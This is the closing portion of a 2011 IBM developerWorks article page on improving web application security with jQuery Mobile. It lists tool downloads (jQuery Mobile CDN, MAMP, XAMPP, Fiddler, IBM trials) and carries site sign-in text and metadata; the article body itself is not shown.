Resources

Learn

Get products and technologies

  • The jQuery Mobile CDN: Get jQuery Mobile quickly with already minified and compressed versions of jQuery Mobile.
  • MAMP: Mac - Apache - MySQL - PHP: Get and install a Mac-based Apache, MySQL, & PHP environment local server environment.
  • XAMPP: Get a very easy-to-install Apache Distribution for Linux®, Solaris, Windows, and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin.
  • Fiddler: Download and try a web debugging proxy that logs all HTTP(S) traffic between your computer and the Internet.
  • IBM product evaluation versions: Download or explore the online trials in the IBM SOA Sandbox and get your hands on application development tools and middleware products from DB2®, Lotus®, Rational®, Tivoli®, and WebSphere®.

Discuss

Comments

developerWorks: Sign in

Required fields are indicated with an asterisk (*).


Need an IBM ID?
Forgot your IBM ID?


Forgot your password?
Change your password

By clicking Submit, you agree to the developerWorks terms of use.

 


The first time you sign into developerWorks, a profile is created for you. Information in your profile (your name, country/region, and company name) is displayed to the public and will accompany any content you post, unless you opt to hide your company name. You may update your IBM account at any time.

All information submitted is secure.

Choose your display name



The first time you sign in to developerWorks, a profile is created for you, so you need to choose a display name. Your display name accompanies the content you post on developerWorks.

Please choose a display name between 3-31 characters. Your display name must be unique in the developerWorks community and should not be your email address for privacy reasons.

Required fields are indicated with an asterisk (*).

(Must be between 3 – 31 characters.)

By clicking Submit, you agree to the developerWorks terms of use.

 


All information submitted is secure.

Dig deeper into XML on developerWorks


static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=1
Zone=XML, Open source, Web development, Security
ArticleID=651335
ArticleTitle=Improve web application security with jQuery Mobile
publish-date=05032011